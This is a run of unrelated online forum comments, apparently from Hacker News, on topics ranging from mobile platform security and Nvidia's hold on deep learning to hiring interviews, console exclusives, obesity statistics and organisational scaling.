My current project is a service for writers that at best might be able to provide me with a full-time income and at least will not lose money for me. Since it's something I want/need/use, I'm willing to donate my time to it as necessary and let it be what it'll be.
Security/privacy and freedom are at odds these days. Freedom means the freedom to install malware and spyware and the freedom for said malware and spyware to run wild on the device.

Android is more free than iOS, which means Android apps are much more free to spy on me.

If you are technical enough and conscientious enough to avoid this problem that's great, but that's not the majority of the market. For most users freedom means malware and highly invasive surveillance.

The Internet and the computing ecosystem decades ago was comparatively open and free. Then the barbarians came in the form of surveillance capitalism and industrialized malware operations. Now the fields are salted, the smaller settlements are burned to cinders, and everyone is cowering behind the high city walls of various walled gardens.

It seems to be a rock solid business that won't appear anytime soon. As much as I like the idea of a one-man show like pinboard, I don't want to trust thousands of links to a service with a "bus factor" of 1.
I am working on something similar. Bookmarks are still usable because Google is pretty bad for some obscure queries and they work as a reminder more for me.

Search engines require active discovery. You can find most of the links posted here on HN. Why have HN?

It's curated, have social elements and passive. You just sit back and click rather than coming up with something interesting to search for.

I am still surprised google hasn't come up with a passive consumption of their search engine. It seems like something they can do. Google feed doesn't have social elements to it so I wouldn't count it in. Google Plus was a failure.

I think it's highly unlikely that any traditional chip company dethrones Nvidia in DL, at least in a reasonably soonish time horizon. As others have said, CUDA is just too far ahead in terms of development and adoption.

However, I think NVIDIA is still vulnerable—but against AWS/GCP/Azure, not Intel/AMD.

My opinion is that deep learning is moving to the cloud. That's a bigger conversation with a lot of nuances, but if you take that basic assumption, then the development of ASICs like TPU/Inferentia become a big threat to Nvidia.

If the biggest buyers of chips in deep learning are the clouds, and the clouds are increasingly developing their own chips for deep learning, Nvidia is in a tough spot. They'll always have a place among labs that use their own machine, and of course, Nvidia's business is bigger than machine learning, but in general I think the clouds are a real threat.

> Qualcomm, Broadcom, and Apple all license ARM designs.

Not broadly true especially in the Apple case - Apple uses arm in the exact same way intel uses AMD. AMD created the 64 bit instruction set but it would be ridiculous to say intel isn’t designing their own processors. Similarly Apple designs all their own chips but use the ARM instruction set.
> collaborating on a problem with the interviewee

That's not how developers spend the vast majority of their time. It's a poor signal in my experience. What it selects for is candidates who are immediately comfortable collaborating in real time with someone they have never met. That doesn't mean you aren't getting good candidates. What is means is that I spend far less than you finding good candidates because I also hire people who are great developers and who would fail at your interview.
I can’t verify that exact claim, but as a chemist, it wouldn’t be surprising. Pesticides are mostly organic (carbon containing) compounds and oil is often used as feedstock.

Neat how do you compare yourself on the annotation capabilities with Datasaur.ai which launched in the last YC batch?

In terms of training the models for deployment -- do we own the artifact? Can I move that into my own model repository?

Also how do you feel this compares to using fine tuning on a publicly available BERT family model which is already fairly fast and easy not requiring a huge corpus, speaking from experience of recently having done so?

Are the benefits more from the tight feedback loop and already standing infrastructure?

I think the stranglehold is about to burst.

Intel is launching a GPU/Deep learning accelerator, Huawei is thinking about launching a GPU. Pytorch and Tensor flow work well enough on AMD GPUs. There are also custom deep learning ASICs from Google. There is simply too much competition at this point for CUDA to continue to be the standard.

Arm Accuses China Venture Ex-CEO of Blocking Its Business
Not true - just look at the latest chip from Apple.

Yes it uses the arm instruction set, but it was completely designed by Apple. This is identical to Intel using the same 64 bit instruction set as AMD... you wouldn’t say AMD designs intels chips though.

It's mostly understandable because, historically, video game exclusives were either developed or published by the console manufacturer. Some people might get annoyed that this cool game isn't coming to their platform of choice, but as soon as they saw "published by Sony", they understood.

They've also helped pay for the console with hardware sold at a loss (near-loss nowadays after the PS3 loss mess). So it was seen as a necessary "evil" by most.

The one being seen nowadays as bad -- which answers your "everyone except David" metaphor -- is Epic Games buying "everyone except Steam" exclusivity deals. But that topic is too deep to go into here.

Another thing about these users in this specific demographic always eventually do is they just grow out of it and leave for something else. Or perhaps what was 'hot' in 2020 is now 'not' in 2021.

They'll just flock to the next social network rocket ship until either it runs out of fuel or if the liftoff (momentum) is too slow. Which ever event happens, it's the beginning of the death of the social network's growth.

Astonishing - I take it tiktok is quite heavy on video advertising then? I'm surprised to see the advertising market be so lucrative within China.
Paying TSMC to fab chips is going to cost more than producing chips in their own fabs, reducing Intel's profit margin the more they do so.

TSMC also knows full well that Intel will switch back to their own fabs the instant it's practical for them to do so, making them a less reliable long term customer than Apple, AMD, etc. and so won't be inclined to give them priority or much of a break on pricing.

Billions of chances might not even get you out of the star system. And even with 100 million years of time you might not find another star system. If you do, you need to go into orbit or you’re nearly guaranteed to not hit anything. And you’re most likely to hit either the host star or a gas giant. If you do manage to hit a rocky body with water and survive, you still have to land in a place that gives you access to that water. The odds are literally astronomical.

Of course water by itself isn’t enough. You’ll also need the correct chemical makeup, pressure, light, temperature range, etc. And you’ll need enough energy and materials to reproduce enough that random mutations can bootstrap an ecosystem before your monoculture consumes all the food and starves itself to death.

> There original statement was (I believe) that capitalisrlt economies have a history of imposing imperialism on other nations. Do you agree with that, or not?

I agree with that. But that’s not how I read the OP’s statement, and not how the links between capitalism and imperialism are developed in the relevant literature. That appeared to go further to imply that imperialism is itself a manifestation of capitalism, rather than something that’s simply compatible with capitalism.

It’s the difference between saying that Democratic countries have a history of imperialism (Britain, Rome) and saying that imperialism is a manifestation of or structurally linked to democracy.
"The reasonable man adapts himself to the world; the unreasonable one persists in trying to adapt the world to himself. Therefore all progress depends on the unreasonable man" --George Bernard Shaw
These are great points. I disagree with a lot of this article, because it oversimplifies the problem without considering things like this.

Another related problem it forgoes discussing is the idea of planning. Once these problems get harder, the need for people to sit down and design a solution grows, sometimes exponentially. Yes, you need good communication, but you also need something to communicate and agree on. How many small teams in big orgs have even a simple design doc to work from?

So, this is _kind_ of true, depending on country. The UK and US have about the same rate of adults overweight || obese (about 66% each), but the US has a much higher rate of obesity, ~38% vs ~25%. However, the UK is the fattest large country in Europe.

Some countries really are much thinner. France is 40% overweight || obese and 10% obese, for instance.

The observation that this pattern emerges recursively is totally valid. Just as we refactor code and add layers of abstraction, so we refactor org structures when certain teams become hotspots.

The crux of the matter is that as organisations scale up different teams have different "runtime complexity" (if you will).

Scaling up input 2x produces 2x more work for some teams and 100x more work for other teams.

And then we have ourselves the "how do we scale workloads?" discussion on our hands again. If your workload is stateless - you scale it horizontally (more humans).

If you workload is stateful you scale it vertically. I don't know how to scale humans vertically.
You also have to think of possible future ownership dilution if you bring other people in or look for funding. If this idea has a chance to be very lucrative and turn into a fulltime company, then you should probably have a lawyer draw up documents.

If this is a smaller venture and you don't see this developing into a fulltime job, I would say give them a cut of the profits without ownership (like some company's yearly profit sharing). This gives them incentive in the company performance but you retain the final say.

Any of the nonsense going on lately is pretty much a consequence of the lockdowns.

People without jobs and tons of time on their hands, and social networks that amplify anything that crosses the minds of people confined to their house.

It's a recipe for disaster.

And precisely a reason you wouldn't want to embark on a lockdown strategy, ignoring the questionable efficacy.
But this isn't proof at all that economic freedom is what leads to improved conditions for workers. It's hardly the Chinese government that's forcing the hand of the poor sweatshop owners, just like it wasn't Queen Victoria who made 19th century steel mills what they were. It was factors like the labour movement and progressive governments that gradually forced capitalism to temper itself and allow the working classes to live better lives, and there is absolutely nothing to suggest that this will not have to replay itself outside of the west.

> For example, people have more ways to search for information than ever before — and increasingly this is happening outside the context of only a search engine. Often the answer is just a click or an app away: You can ask Alexa a question from your kitchen; read your news on Twitter; ask friends for information via WhatsApp; and get recommendations on Snapchat or Pinterest. When searching for products online, you may be visiting Amazon, eBay, Walmart, or any one of a number of e-commerce providers, where most online shopping queries happen. Similarly, in areas like travel and real estate, Google faces strong competition for search queries from many businesses that are experts in these areas.

I like how they've mentioned competitors as if they want to take a stand against regulations together while also enacting a feeling that there's enough competition within each of these markets.
